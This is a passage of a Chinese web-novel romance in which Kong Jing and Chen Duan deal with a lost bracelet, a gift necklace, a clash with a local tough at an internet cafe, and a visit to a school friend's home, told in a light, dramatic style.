陈端被孔净从床上薅起来,双手插兜,面无表情跟着她走出房间门。 “去哪儿?” 孔净在屋里找了个手电筒,很久没用了,在没有灯的楼梯间试了下,亮度还行。 “苏苏送我的手链不见了,去看看是不是落浴室里了。” 话刚说完,身后的脚步声就停下了。 孔净转头,陈端声音高冷:“不去。” 下一秒,手电的光直接照他脸上。 孔净:“快点,我待会还要回去做卷子!” 所谓胳膊拧不过大腿。 不去也得去。 楼下浴室巴掌大点的地方,里面没有刮腻子没有铺地砖也没做天花板,就是清水混凝土,进门右手边的墙上安一个老式钨丝灯,对面墙上花洒水龙头加一个放洗护用品的单层铁架子。因为是公共浴室,所以架子上没放东西,大家来洗澡都是自己带自己的。 所以说,里面没有任何杂物,也没有任何多余的遮蔽物,手电四下一照,就知道手链落没落这里。 遗憾的是,没有。 “怎么会呢?”孔净不死心,握着手电蹲在地上地毯式搜索。 陈端还是双手插兜的姿势,进来后就没好好找过。 但就是这么巧,他视线垂落,忽然瞥见一丝金色闪过。 他往前走两步,低头仔细看下水道口,“找到了。” “哪里?!” “这里。” 陈端脚尖微微一动,很细微的金属磕碰声响起,原本只剩个扣头勾在下水道口还有得一救的手链,被他碰到,立即非常干脆利落地“投井自尽”,并且没有救回来的可能。 “啊!” 孔净仰天长啸,手电方向一变,蓝白光柱立马追过来狠狠打在陈端脸上。 陈端举起双手:“不小心,对不起,再买条给你。” 解释、认错、赔偿,一步到位。 孔净:“………………” 好烦!—— 作者有话说:孔净:有时候是真的很想报警 陈端:谁还不是呢? 第28章 全世界所有想接近她的异…… 米奇手链是真的找不回来了, 除非孔净长出可以伸进下水道并且能够在里面灵活爬行的章鱼触角。 为此,孔净闷闷不乐,一对上陈端视线她就自动变成撅嘴脸。 陈端:“就那么喜欢孟什么长送你的东西?” 孔净无语:“什么孟学长?明明是苏苏送的!而且这跟谁送的有什么关系?东西丢了就是心疼啊。” 陈端:“哦。” “哦?” 哼。 孔净不理他了,书包一拎就出门了。 下了楼才想起昨晚是蹭陈端车回来的, 只好愤愤站在原地等他。 陈端下来, 刚好看见孔净抬脚踹了下停在一边的烟蓝色自行车。 “……” 一路上孔净都没怎么说话, 右手放在陈端侧腰上指尖揪着他衣服面料也是要扯不扯的。 陈端提醒她:“坐好,小心摔了。” 孔净把“哦”字原封不动送还给他。 而且嘴上答应得好好的,实际没有任何改良行动。 陈端:啧。 车子骑到清安高中门口, 孔净跳下车对他伸出手,“书包给我。” 陈端单脚支地, 把挂在自己身前的亮色书包取下来递给她,“晚上来接你。” “不要, 我自己骑车回去。” 陈端看她一眼, “行。” 然后真就龙头一拐, 把车骑走了。 “……” “孔净你也真是的,陈端又不补课,你还让他起这么早来送你。” 林语珂在对面公交站下车,校门口人来人往, 她一眼就注意到那个穿淡灰色体恤搭深蓝色牛仔裤的清爽身影, 不止她, 旁边好些女生都在窃窃私语。 孔净转头朝陈端离开的方向看了眼,“没有啦,他一直都起这么早。” “他去哪里啊?”林语珂挽着孔净的手一起往学校里面走。 “网吧。” “宁愿起这么早去网吧也不来学校补课,该不会网吧有他喜欢的女生在吧?”林语珂一直很好奇,陈端这么受女生欢迎,但是从来没听说他和谁交往过, 甚至走得近点的女生朋友都没有,真的有点奇怪。 “应该没有。”孔净说完这句忽然想起前天晚上帮Lily姐探口风时,陈端说的那句只喜欢姐弟恋,她一顿,好像也说不准? 孔净说不要陈端来接,但晚自习刚下课,前排女生就无比艳羡地转过身,敲敲孔净的桌面,“你弟在外面等你诶~” “真的耶!” “哇哦——校草弟弟接送服务你值得拥有!” 其他人听说都仰起脖子往窗外看。 孔净也瞄了眼,在和走廊上的陈端对上视线之前把脸转回来,继续收拾书包。 其实已经偷摸想笑了。 慢吞吞走出去,“不是让你不要来?” “没想来。” “那你怎么来了?” “来了。” “……” 一通鸡同鸭讲。 孔净压住想要往上翘的嘴角,紧接着就看见陈端伸来一只手,手腕一转,五指摊开,变魔术一般,冷白掌心赫然托着一颗珊瑚色猫眼石。 “哪里来的?”孔净伸手用指尖拨了拨指甲盖大小的猫眼石,变换不同角度观看,石头中间的银色猫眼也随之变大变小,就好像真的有只小猫咪藏在里面似的。 “捡的。” 陈端不好好说话。 孔净抬起眼皮觑他,“给我的?” “不——” “才怪!”孔净拈起猫眼石才发现它其实是一个吊坠,连着很细的银色链子,是一条项链。 陈端看她,“不戴吗?” “戴!现在就戴!” 孔净说完就转过身,歪头把马尾顺到肩膀前面。 在陈端把项链绕到她脖子上的时候,孔净忽然把头转过去。 陈端:“干什么?” 孔净不说话,转回来,再转过去,再转回来。 “……” 孔净:“要笑就笑啊。” 陈端:“谁笑?” 孔净猝不及防又转过头,“酒窝都露出来了!” 陈端没收住,是真的笑了。 孔净本来就是一个消化情绪很快的人,她很快忘记那条米奇手链。 倒不是因为陈端赔了一条猫眼石项链给她,而是肉痛归肉痛,多想也无益。 林语珂在课间休息时把猫眼石从孔净领口里勾出来,左看右看爱不释手,但是她忽然问:“这是真的还是假的啊?听说真的猫眼石很贵。不同等级价格差很多。” “不知道诶。”孔净随口答。 前排女生也转过来看,她说:“不管真的假的,戴着好看就行啦!” “可是如果是假的就很奇怪啊,要是我,宁愿不戴。”林语珂说。 前排女生:“你本来就没戴嘛,又没人送你。” 林语珂一愣,“我要戴的话自己会买,不管手链还是项链,不需要别人送。” 边说边把猫眼石塞回孔净领口,说完忽然起身走出教室。 前排女生:“我又没说错,她干嘛这么生气?太敏感了吧。” 老是莫名看人扯头花的孔净:“……语珂没有生气啦。” 集训班上九天放一天假,孔净上午在家做了两套卷子,吃过午饭之后终于腾出空骑车去网吧。 Lily盼她盼得脖子都长了,孔净一进门就被她从前台柜里伸出两条胳膊给摁下了。 “怎么回事?你是不是跟你弟说我坏话了?” “哈?” Lily苦大仇深:“自从那天晚上我跟你说了之后,陈端再来网吧脸冻得比千年坚冰还实!搞笑的是,我人就在前台坐着,他要续网费买水什么的偏不找我,宁愿跑去休息室喊其他人!搞得跟我有仇一样!老实交代,你到底跟他怎么说的?!” “就探口风的那种说呀。”孔净没想到陈端反应这么大,不仅跟她生了一场气,连Lily姐也避而远之。 “不会吧。”Lily想不通,“我这样的尤物他都看不上?哈哈!我知道了——是不是嫌我老?我他妈才二十二!” “怎么可能……”孔净赶紧一口一个“小甜心”、“美丽洋气”、“青春无敌”……各种溢美之词轮番上阵,成功把Lily哄回蛇妖原形。 “不对劲,很不对劲!”Lily又开始摇晃肩膀,漂亮的长尖美甲在柜面上敲得“哒哒”响,忽然,五片长尖美甲往中间一收,刺在掌心肉上,孔净看着都觉得疼。 “你弟绝对有问题!” “什么问题?” “——他怕不是个弯的吧?!!” Lily斩钉截铁。 孔净:笑一下算了。 “我觉得不是。” “不可能!他就是!” Lily被孔净哄好之后,自信心恢复到“全世界老娘最美”的状态,既然她没问题,有问题的就是别人! “……真的不是啦。” 孔净挠手,有点羡慕Lily这种不管怎样先甩锅给别人的不内耗性格了。 往常,孔净来网吧都先去找陈端,说个冷笑话、吐槽路上因为风吹吃到沙子,或者什么也不说就站在旁边看他十指翻飞操作键盘,眼睛晶亮神态天真,像小孩儿一样对不明白但感觉很厉害的事物由衷发出惊叹。 陈端知道孔净今天要来,看了眼时间,估摸人应该早就到了,但迟迟没见她身影- 休息。 在游戏聊天框里发送这两个字,没管其他人回的什么,他扯掉耳机,起身。 一个姿势坐太久,全身骨头都缩在一起,他一边穿过大厅,一边松动肩骨,脖子发出“咔咔”声。 刚走到那丛酒瓶椰子旁,就看见穿清安高中校服的纤长身影趴在前台,里头的Lily不知道说了什么,她笑得连背影都俏丽,高马尾轻盈扫动亮色书包。 非常光明正大地进行同流合污。 “诶陈端!” Lily眼尖,一下发现他,高高扬起手臂,玫红色长尖美甲在顶上射灯的加持下一闪一闪。 孔净回头,刚好看见陈端超绝冷脸转身走开。 哈!又生气了? “啧啧!”Lily把嘴撅老高,站累了,扑趴在柜面上,前胸没了重力阻挠,雪线沟壑在紧身吊带的修饰下极致吸睛。 有人进门就冲着这边吹了声长长的口哨,孔净小声提醒,“姐姐,这里。” “怕什么?我的身材我做主,我想怎么展示是我的事,他们乱看乱想是他们下流!癞蛤蟆想吃天鹅肉,我都懒得理!”Lily扯一下细肩带,长眉一挑,问刚进门的人,“几个人?身份证都拿来。” 孔净怕妨碍她做生意,默默离开。 刚转过身,一条大花臂就横在面前,“哟,这不是上回和陈端一起那个小妹妹?” 孔净抬眼,这人一米七出头,五官长得挺普通,但是寸头发型和龇牙用嘴角叼烟的姿势一下唤起她的记忆。 “不好意思,让一下。”孔净不笑的时候,光是眼睛就很有野气。 “挺辣啊!”寸头男叼着烟吸一口,烟雾从熏黄了的牙缝中喷出来。 孔净手里提着一个印着XX书店的购物袋,里面是她来网吧的路上新买的文具。她从袋子里掏出一支签字笔,“哒哒”按两下,眼睛盯着面前的寸头男一点不露怯,签字笔笔尖伸过去,在他花臂上一拨,“请让一下。” “搞什么?还上不上网了?不上就出去啊,别堵门口影响我赚钱。” Lily帮他们开完机,拍拍柜面,“别欺负我妹妹!” 寸头男回头对Lily笑一下,“哪能啊。再给我十个胆子也不敢在莉莉姐的地头上撒野。” “不是莉莉,是Lily!土鳖!”Lily用词泼辣,但是表情却带点娇俏,指尖勾着自己的长卷发绕两圈,再加上紧身吊带加牛仔热裤的火辣装扮,包括寸头男在内都被吸走目光。 并且寸头男被骂不仅一点不生气,还很荣幸的样子。 孔净心说还真是癞蛤蟆想吃天鹅肉。 她转头笑着对Lily用口型说了句谢谢。 往大厅那边没走多远,和陈端迎面碰上,他表情温淡,看起来和平时没什么区别,但一双眼睛又沉又黑,戾气很重。 “李哲动你了?” 他刚才回到座位,有人跑来告诉他孔净在门口那儿被一帮人拦住了,为首的是个右手臂纹身的矮个寸头男。 “没有。” 孔净根本没把李哲这个人名和刚才的寸头男对上号,却在第一时间澄清事实。 因为陈端的眼神过于锋利,让她不安。 陈端没说话,目光从头到脚再从脚到头扫视孔净。 “真的没有。”孔净抬起双臂,原地转个圈。 “嗯。” “好啦,没事啊,我们……”孔净话说一半,见陈端忽然皱眉,眉骨低压,森冷目光从她耳际擦过。 背后传来男男女女的嬉笑声,夹杂很多脏话,紧接着有人“哟呵”一声,“陈端?侬好啊!因为你,我们专门大老远跑这儿上网,怎样?够意思吧?” 孔净听出是那个寸头男的声音,未及转身,被陈端伸手圈住腕骨,牵向他座位方向。 “你坐这,等我一下。” 他一手拖着电竞椅椅背往外拉了拉,另一手圈住孔净小臂没放,牵着抬起来,就像做了个双人舞轴转的姿势,孔净旋进桌子和椅子之间,然后被他冷白手掌按住肩膀坐下。 孔净后脑勺抵着椅背边缘,仰起脸看他。 陈端就站在椅子背后,轻轻一垂眼就和孔净视线对上。 他表情并不好看,但笑起来的时候脸侧两枚逗号若隐若现,是故意展现给孔净的安抚性质的笑。 “没事。”他说。 “哦。” 陈端走了,孔净留心听着从网吧后门那边传来的声音,起身去冰柜拿了瓶冷饮,站在前台拧开喝。 “Lily姐,那个李哲是什么人啊?” “谁?”Lily正在追剧,她伸手在平板上按了暂停。 抬眼看见孔净在自己右手臂和脑袋上各比划了下,她瞬间秒懂,“你说小李子啊?” 孔净“……嗯啊。” “我也不是很清楚,他以前没来过,就这个暑假才开始来这儿上网。”Lily说,“他身份证上年纪也就二十,我听他们聊天应该是职高的,说不准……怎么?刚才进去后又骚扰你了?臭不要脸的东西!” Lily说着就把手撑在柜面上,仰起脖子往网吧大厅里瞧,只在一众红绿毛中找到李哲的同伴,“……人呢?” “和陈端出去了。”孔净侧站在前台边,同Lily说话时,目光时不时往后巷子那边看一眼。 “陈端?那我知道了。”Lily说,“缠着你弟和他们一起组队打游戏吧。” “啊?”孔净不是很懂,打游戏就在线上邀请,你情我愿,人家不愿意怎么还强缠? “嗨呀,你弟很厉害的!”Lily说到这个又开始晃肩膀,她满面春光道,“陈端在这一片已经出了名了知道吧?去年还有电竞经纪人想挖他!你不知道?” 孔净摇头,陈端没跟她提过。 “你们这姐弟当得真是……要是陈端真的走职业电竞这条路,我的妈呀!先不说他技术怎么样,就那张脸往屏幕上一露!”Lily两手一拍,“爆火!” Lily说自从陈端光顾这间网吧之后,好多小年轻小妹妹也都往这儿凑,一天下来光是向这些人卖饮料就赚不少。 “原来Lily姐你想和陈端谈恋爱是假,纳他入赘帮网吧赚钱才是真的。”孔净心说生意人果然算盘打得精。 Lily哈哈笑出声,“这不是他不肯吗……” 孔净看见后门那边人影晃动,一个黄毛掀起空调帘走进来,左脸上挂了彩,嘴巴快速翕动着像是在骂脏话。 这人是和李哲一起的。 孔净心口一跳,直接走过去。 Lily在后面叫她,“诶水!你水没拿!” 掌心还残留着饮料瓶上沁出的水雾,湿漉漉的,怕打滑,在衣摆上擦了两下,然后把手伸进兜里。 “跨瞎难(看什么)?”黄毛也认出孔净,见她走来,朝地上啐一口。 “干什么干什么?对我们姐姐尊敬点!” 李哲随后进来,脸上表情同样不忿,但他用一条满是纹身的手臂搡开黄毛。 孔净没看黄毛也没看李哲,在他们身后一只冰白手掌撩起空调帘,陈端走进来,两人视线越过中间几人,遥遥相撞。 李哲听见背后的响动,自觉让出一条道来。 陈端错身而过时,他懒散靠在走道墙面上,一边往嘴里送烟,一边嬉皮笑脸地说:“再考虑看看,跟我一起来钱更快。” 陈端没应声,像之前那样圈着孔净的手腕就走了。 孔净转头看他,“动手了?” 他侧脸冷削,周身带着从外面沾染的暑气,连手掌都是温烫的。 “没有。” 此地无银三百两。 孔净不喜欢这种显而易见的谎言,她皱了下眉,“李哲找你干什么?” “不干什么。” 陈端握着孔净的手腕将她整右手从兜里拉出来,忽然垂眼看见她手里握着的一支签字笔,唇角不由得一勾。 “有什么好笑的。”孔净总觉得虽然每天都在一起,但其实陈端有很多事她都不知道。 孔净一下挣脱他的握力,径自走在前面。 陈端一下心情很好的样子,跟在她后面,“读书好的人,选的武器也很文气。” “你知道什么?电影里都是这样演的!笔尖‘唰’的一下就——” 孔净忽然转过身,攥着签字笔的手抬起就往陈端身上戳,笔尖悬停,距离他脖颈侧边的大动脉只有几公分的距离。 孔净皱眉看他,“不是打架很厉害?反应这么弱,都不知道躲一下。” “对你我躲什么。” 陈端笑起来,明月清风,和适才眼神冷戾的样子判若两人。 他再次伸手握住孔净的手腕,另一手从她五指间抽走签字笔,有一下没一下地按着笔顶,拿着把玩。 孔净歪头看他,有时候不太明白哪一个才是他真实的面孔。 或者说,两个都不是。 孔净讨厌这种感觉,她捞起刚才放在他座位上的书包,“我先走了。” “去哪儿?”陈端问。 “苏苏家。” 孔净见陈端眉眼轻蹙,不禁奇道:“上次就想问你了,干嘛每次一提到苏苏和孟学长你都这副表情?他们又没惹你。” “如果我说惹了呢?” 陈端看着为了两个微不足道的外人突然和他针锋相对的孔净。 “怎么惹的?”孔净问。 陈端该怎么答? 全世界所有想接近她的异性都该死? 孔净是真的想知道为什么,但等了一会儿之后,见陈端又像刚才一样没有开口的打算,她把书包背在身后,“我走了。” 第29章 漂亮的嘴巴,让人不悦的…… 孔净穿过网吧大厅, 李哲那伙人见她走过,都不约而同转过头朝她看过来。 其中那个黄毛眼神挺露骨,这让孔净想起初中时候在文具店后门被杨皮盯着看,阴冷滑腻, 让她很不舒服。 “想什么呢?你的水没喝完, 别忘了。”Lily从前台柜里伸个脑袋出来。 “哦。”孔净走过去把那瓶只喝了几口的饮料拿在手里, 顿了顿,问Lily:“姐姐,陈端每天来网吧就是打游戏吗?” “多数时候是吧。不过也没人在他屏幕上安监控, 谁知道?不打游戏,看片也说不准。”Lily朝孔净抛个意味深长的媚眼。 孔净:“……” 后悔多嘴问这一句。 “哈哈哈……诶别走啊!”Lily伸手勾住孔净书包提手, “跟你开玩笑呢。我这儿是正规网吧,没那些乱七八糟的东西, 大家就是打打游戏、聊聊天, 再出格点就是抽个烟、看个片什么的, 连打架都少得很。陈端每天来了就是往机位上一坐,话都不带讲一句的,你还怕他跟人学坏啊?” “他要是想做什么,不用跟人学。”孔净说。 “嗯?”Lily没听明白。 孔净摇摇头, 笑说:“我还有事先走啦, 姐姐!” 走出网吧门, 恰好看见一辆白色轿车倒进窄巷。 因为图租金便宜,这间网吧开在居民楼下,距离外面的大马路有一段距离。门头灰败,在日光下很不起眼,要等到入夜之后亮起彩色霓虹灯,才能在周围的旧楼中脱颖而出。 孔净觉得这辆车有点眼熟, 然后就看见车窗降落,一张温熙笑脸从驾驶座探出来,“看来我没找错地方。” “孟学长?”孔净意外,“你怎么到这儿来了?” 巷子实在太窄,孟书宇开不惯这种路,车子就堵在网吧前面的路口,他以商量的语气对孔净说:“苏苏等不及要见你,我过来这边碰碰运气,没想到你真的在这儿。先上来好吗?我怕再待下去会招来城管。” 话音刚落,前面就有辆电瓶车因为路口被堵,而不停地按喇叭。 孔净看了看,“可是……” “我也是受苏苏所托,过会儿我再送你回来。”孟书宇颇为无奈地摊了下手,然后侧过身从里面开了副驾车门。 电瓶车喇叭仍旧按个不停,孔净被催促着赶紧上了车。 孟书宇长吁一口气,好像孔净帮了他一个大忙。 他将车子再往旁边挪动一点,让电瓶车行过之后,缓慢开出窄巷。 陈端过来前台这边拿水,李哲就站在落地窗前叼着一根没点燃的烟,邪笑着往窗外扬了扬下巴,“你姐姐交的男朋友挺有钱,开的宝马啊。” 陈端视线穿过落了灰的窗玻璃往外掠去,刚好看见孔净矮身钻进白色宝马副驾。 “才上高中就这么有本事,也是,你们都这么有手段,哪里看得上我那点来钱的路子……”李哲含着烟意味不明地说着。 然而话音未落,一只冰白手掌忽然伸过来,攥住他的领口。 李哲不算太矮,但在一米八五的陈端面前就显得像个侏儒,特别当他被扯着领口整个人被拎起,脚尖踮起,像被拔出泥地的瘦萝卜。 李哲脖子被领口卡住,脸涨红,叼在嘴里的烟早就掉了。 大厅有几台机子离前台这边挺近,那几个人注意到这边的情况,都不由得面面相觑。 主要李哲虽然是这段时间才经常来这边上网,是个生面孔,但是他气焰嚣张,每次身边都带一票人,给人的感觉就很不好惹。 而陈端是这间网吧的常客,以前他刚来时,有些高年级的和自诩是混社会的,因为看不惯他冷冷清清目中无人的样子,明里暗里找过他好几回麻烦,但不知道陈端做了什么,那些找过他麻烦的人最后都不来这间网吧上网了,并且私下再提到陈端时都有些讳莫如深。 可以说李哲和陈端是这间网吧目前最不好惹的两个人,而现在他们戏剧性公然对峙,一股无形的火药味瞬间弥漫开来。 李哲的同伙得到消息都跑过来了,Lily窝在前台柜里追剧,外面人头晃动,她不经意间抬头,猛地一愣。 “干什么干什么?!当我这儿是菜市场吗?要闹事给我出去闹!” Lily连暂停键都忘了按,嗒嗒嗒踩着细跟鞋快速绕出前台柜,搡开几个黄绿毛。 “是不是你又嘴欠?”Lily没问缘由,冲着还被陈端拎着衣领的李哲就来这么一句。 说完,又对着陈端,“听姐姐的,先把他放开。” 陈端没搭腔,也没放开李哲的意思,一双眼睛温温淡淡,看起来很冷静,攥着李哲领口的手却愈加用力,冷白手背上几条山脊似的青筋猛烈暴起,手臂上的疤痕似乎下一秒就会活过来,变成会咬人的毒蛇,眼也不眨地扎进李哲的脖子。 李哲的脸色很难看,又红又白,明显呼吸不畅。 “我操——” 李哲的同伙按捺不住,互相推搡着就要动手。 两个网管从休息室跑出来把他们按住了。 Lily抓住陈端的手,“你干什么?!刚才我还跟孔净说你不会干不好的事!你怎么,你怎么……快放手啊!陈端!!!” 不知道是因为提到孔净,还是因为别的什么缘故,陈端一下松开李哲。 李哲脱力往后一倒,被他的同伙给扶住了。他红着脸猛烈咳嗽,几乎喘不过气来。 但他边咳边笑,两只眼睛冒精光,一直盯着陈端的方向,样子十分癫狂。 “你他妈有病啊!没长手和脚吗?不知道反抗一下啊?!傻逼!!” Lily也是无语,对李哲张口就骂。 转过头,还想再说陈端几句,却见他低头踩住掉在地上的一支香烟,轻轻碾了两下,然后像是局外人一般转身就往里边机位大厅走去。 他没说什么,也没什么表示,围起来的人群自动给他让出一条道来。 Lily简直要抓狂,高跟鞋嗒嗒嗒踩得跟机关枪一样,她追在陈端身后,“你怎么回事?为什么啊?” 陈端没说话,往电脑前一坐,戴上耳机,如果忽略他戾气缭绕的眼睛,他侧影看起来安静又漂亮,完全无害的清爽模样。 Lily张了张嘴,明知问不出个所以然来,最后抓了抓头发,烦躁地走开了。 孟书宇很健谈,也很会把控节奏,但孔净谈兴不高。 两人聊了几句之后就没再说话,孟书宇很贴心地开了车载音乐。 孔净暗自松了一口气。 车子不一会儿就驶进云树别苑的小区门口,孟书宇就近把车停在楼栋前的地上停车位,孔净推开车门下去,刚站定就听见有人在喊她。 孔净转头,“哇,语珂你今天好漂亮。” 孔净差点没认出来,林语珂站在单元门里,穿一件蓝白格子连衣裙,蓬蓬袖、一字方领,伞形裙摆,这样的设计会显得她的腰很细、脖子很长,头发用一个浅蓝色蝴蝶发圈扎成丸子头。 林语珂本来就是小圆脸,这样的打扮尤其显得可爱清新。 “还好吧,平时穿校服穿吐了,放假了就随便从衣柜里抓一件出来穿。”林语珂说。 孔净笑着和她开玩笑:“你是因为知道我要来,所以专门在这里等我吗?” “哪有,我刚好在这里散步!谁专门在这里等你们啊。”林语珂拨了拨刘海,视线朝刚从车里下来的孟书宇那边瞥去,“孟学长你好。” “你好。”孟书宇显然第一眼也没认出她来,顿了下才笑着说,“你今天和平时很不一样。” 林语珂一瞬间脸颊发燥,但装着很镇定的样子,“那是因为孟学长很少关注我,见多了就不会这样说了。” 孟书宇没料到林语珂会这样说,轻轻对上她的视线,温和一笑。 “你也住这个小区吗?” “啊?”林语珂又拨了下刘海,“对、对啊。” “以前没有在小区里遇见过你。”孟书宇边说边带孔净往电梯那边走。 林语珂挽着孔净的手也跟在他后面,“我很少出门,所以才没遇见吧。” 孟书宇按了上行键,转头见林语珂和孔净站起一起,出于礼貌,他问道:“如果不忙的话也上去坐坐?” “不会打扰吧?”林语珂脸红红的,挽着孔净走进电梯。 孟书宇慢慢笑了下,“不会。” 苏苏爸妈没在家,她一个人在客厅里玩游戏,听见开门声,刷地一下跑到玄门这边来迎接。 她眼睛直往孔净身后瞄,看见孟书宇把门关上之后,神情很失望,“陈端哥哥没来吗?” 孔净一瞬间想到一个小时前在网吧和陈端发生的不愉快,她对苏苏笑了下,“不好意思呀,他有事在忙。” “忙什么?”苏苏嘟着嘴。 “他——” “他很辛苦的,要自己挣生活费,去网吧就像上班,缺一天席就少赚一天的钱,所以不能想去哪里就去哪里。”不等孔净把话说完,林语珂很自来熟地半弯下腰,对苏苏做了个“嗨”的手势。 “陈端哥哥这么可怜……” 苏苏不认识林语珂,勉强对她扯了个笑脸,就转身去客厅坐着了。 林语珂转过脸,见孔净在看自己,她不由得摸了下脸,“怎么了,我脸上有脏东西吗?” 孔净摇了下头。 孟书宇从鞋柜里帮她们拿拖鞋,一双米白色的棉麻拖鞋,另一双是没拆封过的一次性拖鞋,类似酒店用的那种。 他把米白色的那双放在孔净面前的地板上,“之前你来给苏苏补课都是穿的这双,已经让阿姨洗过晾干了。” “谢谢。”孔净坐在换鞋凳上换鞋。 孟书宇帮林语珂把一次性拖鞋外面的塑封拆掉,然后才递给她。 “谢谢学长。” 林语珂坐在孔净旁边,视线扫过她脚上那双做工精良的米白色棉麻拖鞋,再看看自己脚上的一次性拖鞋,然后才弯下腰去换鞋。 客厅的茶几上摆了果盘和甜点、零食,孟书宇又从冰箱里端了一壶事先榨好的芭乐苹果汁。 林语珂喝一口果汁,忽然想到什么,“我记得只有孔净喜欢芭乐和苹果的组合,学长你该不会是专门为她准备的吧?” 孔净又看向林语珂,林语珂像是没发觉,只是很充满求知欲地看向孟书宇。 孟书宇停顿一下,他笑说:“原来孔净喜欢芭乐和苹果的组合,看来我运气很好,歪打正着了。” 话音落地,他余光转向孔净,果然看见她微微蹙起的眉头舒展开了。 林语珂笑起来,她一直找话题和孟书宇聊,孔净安静坐着,过了会她看苏苏去房间了,就抱着书包去敲门。 “有个小礼物送给你,希望你喜欢。”孔净把书包拉链打开。 苏苏一下睁大眼睛,“是什么?……哇!娜娜!!!好漂亮!!谢谢姐姐!!!” “不用谢。” 孔净之前帮苏苏补课听说她很喜欢日漫《NANA》,在收到她送的手链之后,想来想去决定投其所好,联系阿禾让她帮忙找渠道买了一个大崎娜娜的手办。 果然,苏苏抱着手办在房间里转了好几个圈,连游戏也不玩了。 孟书宇和林语珂听见苏苏的欢呼声,也走到这边。 孟书宇看见苏苏怀里的手办,无奈一笑,“你太惯着她了。” “没事啦,又不是天天送。”孔净说。 可孟书宇明白这个价值远超那条米奇手链的娜娜手办,不过是孔净的礼尚往来。 她在处理人际关系这一块真是泾渭分明,让人佩服又气馁。 林语珂盯着那个连头发丝都精美的手办,出奇地没吭声。 苏苏还想留孔净多待一会儿,孔净就笑着说,“留下来可以呀,顺便帮你把最近学的知识点顺一下。” “啊?” 苏苏一听说要学习,小脸皱成苦瓜样,慌慌张张去看孟书宇。 孟书宇也留孔净,孔净以回家帮父母做晚饭为由拒绝了。 林语珂有些意犹未尽,但孔净要走,她也没理由单独留下。 于是孟书宇也跟着换了鞋要送孔净回去。 “不用了学长,我自己坐公车就好。”电梯下行,孔净一再拒绝被孟书宇送。 “我还以为你会说你弟要来接你。”孟书宇进退有度地笑说,“我把你送到站牌总可以吧?” 孔净不好再推迟,同林语珂作别之后仍旧坐上孟书宇的车。 转乘公交回网吧,本来只打算取了车就走,拐进巷子,远远看见网吧门口横七竖八停着车的露天车棚,少年跨坐在其中一辆自行车上,白色板鞋点地,屈起的长指有一搭没一搭地按压着车前刹,侧影冷淡,显得有些百无聊赖。 孔净走过去,临近傍晚的阳光将她的影子拉长,映在巷子老旧的青石板上,“干嘛坐我车?” “你车?” 陈端抬眼,顶着一张最是清俊的面孔说着无赖的话。 他的眼睛像两汪不见褶皱的静湖,深得藏住所有过往,又浅得似有情绪将要满溢。 那情绪非常浓烈,又飘忽,很多时候孔净以为自己将要抓住了,一眨眼却又什么都感受不到了。 “你在想什么?” 孔净语调软和下来,离他更近些。 “想……快点长大。”陈端玩笑似的口吻。 “你很快就成年啦。”孔净说。 “嗯,”陈端看着孔净,“那就等成年。” 孔净在未成年之前也总会期待十八岁的到来,但等真的过了十八岁,才发现体感上并没有什么额外不同。 可能是因为没有发生什么特别的让她印象深刻的事情,帮她把十八岁前和十八岁后强烈区分开。 “这么期待成年吗?”孔净问陈端,“成年之后有什么特别想做的事情?” “接吻。” 陈端轻飘一句,语不惊人死不休。 孔净“啊”了一声,这么说的话,“原来真的有喜欢的人啊。” 反应平淡,叫人气闷。 陈端屈指扣住自行车把手,眼眸微微眯起,视线平淡又危险掠过孔净的脸。 她的唇天然是珊瑚色,唇珠饱满,唇线流畅,下唇略比上唇厚,微微张开时很符合当下所流行的“纯欲”两个字。 这么漂亮的嘴巴,为什么能说出这么让人不悦的话? 一只冷白手掌忽然伸过去,拇指和食指扣住孔净的唇角。 也许,堵住就好了。 陈端俯身凑近。 第30章 当影片播放到1小时25…… “喂!你干什么——” 孔净呜呜叫唤, 没有镜子她也知道自己被弄成了金鱼嘴。 一把推开陈端,瞪他,“又发什么神经。” 孔净想了想,还是决定多嘱咐一句, “李哲那帮人看着就不是什么好人, 你少跟他们来往。” 陈端右手腕垂在车把上, 悬垂摩挲着拇指和食指指腹,上面留有她唇瓣的触感,有点滑, 也有点弹。 没听见回应,孔净伸腿踢了下自行车胎, “听见没有?” 他抬眼看孔净,“孟书宇看着也不是什么好人, 你也少跟他来往。” 孔净实事求是:“孟学长跟李哲他们又不一样。” 考上一线名校的好好学长跟纹身抽烟混网吧的职高生, 怎么能混为一谈。 “哪里不一样?”陈端问。 两个人都没有再说话, 但是目光相对,气氛又有点不对劲了。 孔净不喜欢这种剑拔弩张的感觉。 她摆摆手,先退一步,“我本来就不跟孟学长来往了。” 陈端看她。 孔净说:“孟学长明天就去学校报道了, 要等国庆才回来。” “还回来?”陈端扯了扯唇。 孔净:这是什么话。 “不跟你说了, 我回家。”她胳膊撞一下陈端, 把他从自己车上撵走。 陈端看她把车推出白线框,“我也回。” 孔净没问他今天怎么也这么早,在前面把车蹬得飞起。 厂区里面有一块长方形空地,被两个大厂夹着,位于十字路口。也不知道是荒地还是怎么,反正没人管, 有人用叉车运来几条废弃石材,围放在空地四边,夏天空地上长满各种花草,日落之后就会有很多女人带着孩子来这边乘凉,女人们基本都是厂区工人的家属,她们围在条石边家长里短,小孩就在空地中央追逐打闹。 但今天有点不一样。 自行车刚骑上这条路就听见从空地传来的音乐声,那种震感很强“动次打次”、被改得面目全非的流行乐,音量之大,快盖过两旁石材厂的机器运转声。 越往前,看见空地上支起一个巨大的暗红色蒙古包,不仅蒙古包周围全是人,就连十字路上也密密麻麻被堵得水泄不通。 自行车叮铃铃在人群中艰难穿梭,孔净怕撞到人,干脆下来推着车走。 陈端脚尖点地,也跟着下车。 两辆自行车并排推着前行,孔净视线被一堵堵移动人墙挡住,根本没看清那个蒙古包是做什么的。 但越是看不见就越想看见和知道。 “林叔!”孔净看见熟人,大声问他,“这是在干嘛?” 音乐声那么大,人群又那么嘈杂,林叔根本没听清孔净在喊什么,但他中气十足地回道:“歌——舞!歌舞团表演……” 孔净也是凭口型判断出“歌舞团”三个字,忽地双眼一亮。 孔净什么都没说,但陈端已经都知道了。 两人快速回到厂子,孔净洗了手之后麻利做晚饭,陈端站在一边听她吩咐偶尔递个刮皮刀、洗个菜,半个多小时就弄出两菜一汤。 孔大勇不在,李贤梅还在收货,孔净把李贤梅的饭菜单独留出来,然后催促着陈端一起快点吃完。 晚上七点多,太阳在西边的地平线上要坠不坠,路上已经没什么人了,黯淡霞光笼罩,空地上的蒙古包好像比刚才要大上一号,因为人都跑到里面去了,围挡的棚布不是这儿往外鼓一块,就是那儿被撑得要裂开。 